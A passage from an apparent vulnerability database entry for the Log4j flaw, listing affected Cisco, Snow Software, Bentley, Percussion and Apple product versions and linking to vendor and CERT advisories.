                                                                                                  Cisco>>Connected_analytics_for_network_deployment >> Version 006.004.000.003

                                                                                                    Cisco>>Connected_analytics_for_network_deployment >> Version 006.005.000.

                                                                                                      Cisco>>Connected_analytics_for_network_deployment >> Version 006.005.000.000

                                                                                                        Cisco>>Connected_analytics_for_network_deployment >> Version 007.000.001

                                                                                                          Cisco>>Connected_analytics_for_network_deployment >> Version 007.001.000

                                                                                                            Cisco>>Connected_analytics_for_network_deployment >> Version 007.002.000

                                                                                                              Cisco>>Connected_analytics_for_network_deployment >> Version 7.3

                                                                                                                Cisco>>Connected_analytics_for_network_deployment >> Version 007.003.000

                                                                                                                  Cisco>>Connected_analytics_for_network_deployment >> Version 007.003.001.001

                                                                                                                    Cisco>>Connected_analytics_for_network_deployment >> Version 007.003.003

                                                                                                                      Cisco>>Connected_analytics_for_network_deployment >> Version 008.000.000

                                                                                                                        Cisco>>Connected_analytics_for_network_deployment >> Version 008.000.000.000.004

                                                                                                                          Cisco>>Crosswork_network_automation >> Version -

                                                                                                                          Cisco>>Crosswork_network_automation >> Version 2.0.0

                                                                                                                          Cisco>>Crosswork_network_automation >> Version 3.0.0

                                                                                                                          Cisco>>Crosswork_network_automation >> Version 4.1.0

                                                                                                                          Cisco>>Crosswork_network_automation >> Version 4.1.1

                                                                                                                          Cisco>>Cx_cloud_agent >> Version 001.012

                                                                                                                          Cisco>>Cyber_vision >> Version 4.0.2

                                                                                                                          Cisco>>Cyber_vision_sensor_management_extension >> Version 4.0.2

                                                                                                                          Cisco>>Dna_center >> Version 2.2.2.8

                                                                                                                          Cisco>>Dna_spaces >> Version -

                                                                                                                            Cisco>>Dna_spaces_connector >> Version -

                                                                                                                              Cisco>>Emergency_responder >> Version 11.5

                                                                                                                              Cisco>>Emergency_responder >> Version 11.5\(4.65000.14\)

                                                                                                                              Cisco>>Emergency_responder >> Version 11.5\(4.66000.14\)

                                                                                                                              Cisco>>Enterprise_chat_and_email >> Version 12.0\(1\)

                                                                                                                              Cisco>>Enterprise_chat_and_email >> Version 12.5\(1\)

                                                                                                                              Cisco>>Enterprise_chat_and_email >> Version 12.6\(1\)

                                                                                                                              Cisco>>Evolved_programmable_network_manager >> Version 3.0

                                                                                                                                Cisco>>Evolved_programmable_network_manager >> Version 3.1

                                                                                                                                Cisco>>Evolved_programmable_network_manager >> Version 4.0

                                                                                                                                Cisco>>Evolved_programmable_network_manager >> Version 4.1

                                                                                                                                Cisco>>Evolved_programmable_network_manager >> Version 5.0

                                                                                                                                Cisco>>Evolved_programmable_network_manager >> Version 5.1

                                                                                                                                Cisco>>Finesse >> Version 12.5\(1\)

                                                                                                                                Cisco>>Finesse >> Version 12.5\(1\)

                                                                                                                                Cisco>>Finesse >> Version 12.6\(1\)

                                                                                                                                Cisco>>Finesse >> Version 12.6\(1\)

                                                                                                                                Cisco>>Finesse >> Version 12.6\(1\)

                                                                                                                                Cisco>>Finesse >> Version 12.6\(1\)

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.2.3

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.3.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.4.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.5.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.6.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 6.7.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 7.0.0

                                                                                                                                Cisco>>Firepower_threat_defense >> Version 7.1.0

                                                                                                                                Cisco>>Identity_services_engine >> Version 002.004\(000.914\)

                                                                                                                                Cisco>>Identity_services_engine >> Version 002.006\(000.156\)

                                                                                                                                Cisco>>Identity_services_engine >> Version 002.007\(000.356\)

                                                                                                                                Cisco>>Identity_services_engine >> Version 003.000\(000.458\)

                                                                                                                                Cisco>>Identity_services_engine >> Version 003.001\(000.518\)

                                                                                                                                Cisco>>Identity_services_engine >> Version 003.002\(000.116\)

                                                                                                                                Cisco>>Integrated_management_controller_supervisor >> Version 002.003\(002.000\)

                                                                                                                                  Cisco>>Integrated_management_controller_supervisor >> Version 2.3.2.0

                                                                                                                                    Cisco>>Intersight_virtual_appliance >> Version 1.0.9-343

                                                                                                                                    Cisco>>Mobility_services_engine >> Version -

                                                                                                                                    Cisco>>Network_assurance_engine >> Version 6.0\(2.1912\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.0\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.1\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.2\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.3\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.4\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.5\(1\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.5\(2\)

                                                                                                                                    Cisco>>Network_dashboard_fabric_controller >> Version 11.5\(3\)

                                                                                                                                    Cisco>>Network_insights_for_data_center >> Version 6.0\(2.1914\)

                                                                                                                                      Cisco>>Network_services_orchestrator >> Version -

                                                                                                                                      Cisco>>Optical_network_controller >> Version 1.1

                                                                                                                                      Cisco>>Paging_server >> Version 8.3\(1\)

                                                                                                                                      Cisco>>Paging_server >> Version 8.4\(1\)

                                                                                                                                      Cisco>>Paging_server >> Version 8.5\(1\)

                                                                                                                                      Cisco>>Paging_server >> Version 9.0\(1\)

                                                                                                                                      Cisco>>Paging_server >> Version 9.0\(2\)

                                                                                                                                      Cisco>>Paging_server >> Version 9.1\(1\)

                                                                                                                                      Cisco>>Paging_server >> Version 12.5\(2\)

                                                                                                                                      Cisco>>Paging_server >> Version 14.0\(1\)

                                                                                                                                      Cisco>>Prime_service_catalog >> Version 12.1

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.3

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.4

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.5

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.6

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.6.1

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.7

                                                                                                                                      Cisco>>Sd-wan_vmanage >> Version 20.8

                                                                                                                                      Cisco>>Smart_phy >> Version 3.1.2

                                                                                                                                      Cisco>>Smart_phy >> Version 3.1.3

                                                                                                                                      Cisco>>Smart_phy >> Version 3.1.4

                                                                                                                                      Cisco>>Smart_phy >> Version 3.1.5

                                                                                                                                      Cisco>>Smart_phy >> Version 3.2.1

                                                                                                                                      Cisco>>Smart_phy >> Version 21.3

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1a\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1b\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1c\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1d\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1e\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1f\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1g\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1h\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1k\)

                                                                                                                                      Cisco>>Ucs_central_software >> Version 2.0\(1l\)

                                                                                                                                      Cisco>>Unified_communications_manager >> Version 11.5\(1.17900.52\)

                                                                                                                                      Cisco>>Unified_communications_manager >> Version 11.5\(1.18119.2\)

                                                                                                                                      Cisco>>Unified_communications_manager >> Version 11.5\(1.18900.97\)

                                                                                                                                      Cisco>>Unified_communications_manager >> Version 11.5\(1.21900.40\)

                                                                                                                                      Cisco>>Unified_communications_manager >> Version 11.5\(1.22900.28\)

                                                                                                                                      Cisco>>Unified_communications_manager_im_\&_presence_service >> Version 11.5\(1\)

                                                                                                                                      • Cisco>>Unified_communications_manager_im_\&_presence_service >> Version 11.5\(1\) (Open CPE detail)

                                                                                                                                      Cisco>>Unified_communications_manager_im_\&_presence_service >> Version 11.5\(1.22900.6\)

                                                                                                                                      • Cisco>>Unified_communications_manager_im_\&_presence_service >> Version 11.5\(1.22900.6\) (Open CPE detail)

                                                                                                                                      Cisco>>Unified_computing_system >> Version 006.008\(001.000\)

                                                                                                                                        Cisco>>Unified_contact_center_enterprise >> Version 11.6\(2\)

                                                                                                                                        Cisco>>Unified_contact_center_enterprise >> Version 12.0\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_enterprise >> Version 12.5\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_enterprise >> Version 12.6\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_enterprise >> Version 12.6\(2\)

                                                                                                                                        Cisco>>Unified_contact_center_express >> Version 12.5\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_express >> Version 12.5\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_express >> Version 12.6\(1\)

                                                                                                                                        Cisco>>Unified_contact_center_express >> Version 12.6\(2\)

                                                                                                                                        Cisco>>Unified_contact_center_management_portal >> Version 12.6\(1\)

                                                                                                                                        Cisco>>Unified_customer_voice_portal >> Version 11.6\(1\)

                                                                                                                                        Cisco>>Unified_customer_voice_portal >> Version 12.0\(1\)

                                                                                                                                        Cisco>>Unified_customer_voice_portal >> Version 12.5\(1\)

                                                                                                                                        Cisco>>Unified_customer_voice_portal >> Version 12.6\(1\)

                                                                                                                                        Cisco>>Unified_intelligence_center >> Version 12.6\(1\)

                                                                                                                                          Cisco>>Unified_intelligence_center >> Version 12.6\(1\)

                                                                                                                                          Cisco>>Unified_intelligence_center >> Version 12.6\(1\)

                                                                                                                                          Cisco>>Unified_intelligence_center >> Version 12.6\(2\)

                                                                                                                                            Cisco>>Unified_sip_proxy >> Version 010.000\(000\)

                                                                                                                                              Cisco>>Unified_sip_proxy >> Version 010.000\(001\)

                                                                                                                                                Cisco>>Unified_sip_proxy >> Version 010.002\(000\)

                                                                                                                                                  Cisco>>Unified_sip_proxy >> Version 010.002\(001\)

                                                                                                                                                    Cisco>>Unified_workforce_optimization >> Version 11.5\(1\)

                                                                                                                                                    Cisco>>Unity_connection >> Version 11.5

                                                                                                                                                    Cisco>>Unity_connection >> Version 11.5\(1.10000.6\)

                                                                                                                                                    Cisco>>Video_surveillance_manager >> Version 7.14\(1.26\)

                                                                                                                                                    Cisco>>Video_surveillance_manager >> Version 7.14\(2.26\)

                                                                                                                                                    Cisco>>Video_surveillance_manager >> Version 7.14\(3.025\)

                                                                                                                                                    Cisco>>Video_surveillance_manager >> Version 7.14\(4.018\)

                                                                                                                                                    Cisco>>Virtual_topology_system >> Version 2.6.6

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.1.3

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.2.1

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.2.2

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.2.3

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.3

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.4

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.5

                                                                                                                                                    Cisco>>Wan_automation_engine >> Version 7.6

                                                                                                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                                                                                                    Cisco>>Webex_meetings_server >> Version 4.0

                                                                                                                                                    Configuraton 0

                                                                                                                                                    Snowsoftware>>Snow_commander >> Version To (excluding) 8.10.0

                                                                                                                                                      Snowsoftware>>Vm_access_proxy >> Version To (excluding) 3.6

                                                                                                                                                        Configuraton 0

                                                                                                                                                        Bentley>>Synchro >> Version From (including) 6.1 To (excluding) 6.4.3.2

                                                                                                                                                          Bentley>>Synchro_4d >> Version To (excluding) 6.2.4.2

                                                                                                                                                            Configuraton 0

                                                                                                                                                            Percussion>>Rhythmyx >> Version To (including) 7.3.2

                                                                                                                                                              Configuraton 0

                                                                                                                                                              Apple>>Xcode >> Version To (excluding) 13.3

                                                                                                                                                              References

                                                                                                                                                              https://logging.apache.org/log4j/2.x/security.html
                                                                                                                                                              Tags : Release Notes, Vendor Advisory
                                                                                                                                                              https://www.kb.cert.org/vuls/id/930724
                                                                                                                                                              Tags : third-party-advisory
                                                                                                                                                              https://twitter.com/kurtseifried/status/1469345530182455296
                                                                                                                                                              Tags : Broken Link, Exploit, Third Party Advisory
                                                                                                                                                              https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md
                                                                                                                                                              Tags : Broken Link, Product, US Government Resource
                                                                                                                                                              https://support.apple.com/kb/HT213189
                                                                                                                                                              Tags : Third Party Advisory